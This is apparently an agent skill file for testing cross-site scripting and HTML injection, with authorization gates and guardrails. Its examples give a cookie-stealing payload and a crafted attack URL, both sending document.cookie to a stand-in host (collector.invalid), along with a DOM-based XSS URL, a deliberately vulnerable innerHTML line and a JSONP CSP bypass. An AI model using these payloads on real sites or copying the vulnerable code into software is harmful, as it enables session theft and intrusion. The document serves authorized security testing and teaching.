xss-html-injection

Imported from sickn33/agentic-awesome-skills (skills/xss-html-injection/SKILL.md). Install upstream with npx skills add sickn33/agentic-awesome-skills --skill xss-html-injection. Copyright stays with the author.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Cross-Site Scripting and HTML Injection Testing

Detailed Guide

Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Constraints and Guardrails

Operational Boundaries

• Never inject payloads that could damage production systems
• Limit cookie/session capture to demonstration purposes only
• Avoid payloads that could spread to unintended users (worm behavior)
• Do not exfiltrate real user data beyond scope requirements

Technical Limitations

• Content Security Policy (CSP) may block inline scripts
• HttpOnly cookies prevent JavaScript access
• SameSite limits some cross-site cookie sending; it does not prevent script running in the vulnerable origin from acting as that user
• Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

• Written authorization required before testing
• Report critical XSS vulnerabilities immediately
• Handle captured credentials per data protection agreements
• Do not use discovered vulnerabilities for unauthorized access

Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

<script>
var i = new Image();
i.src = 'https://collector.invalid/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Result: In a controlled browser, only non-HttpOnly cookies accessible to that document could be sent, and CSP/network policy may block the request. Do not test this with real sessions.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://collector.invalid/log?c='+document.cookie)%22%3E

Delivery: Open only in a consenting test account/browser; sending links to people requires separate explicit authorization.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

// Vulnerable teaching example: explicit decode introduces markup from an encoded hash.
document.getElementById('welcome').innerHTML = 'Hello, ' + decodeURIComponent(location.hash.slice(1));

Attack URL:

https://app.example.com/dashboard#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

Result: Script executes entirely client-side; payload never touches server.

Example 4: CSP Bypass via JSONP Endpoint

Scenario: Site has CSP but allows trusted CDN

CSP Header:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Find JSONP endpoint on trusted domain:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

Result: CSP bypassed using allowed script source.

When to Use

This skill is applicable to execute the workflow or actions described in the overview.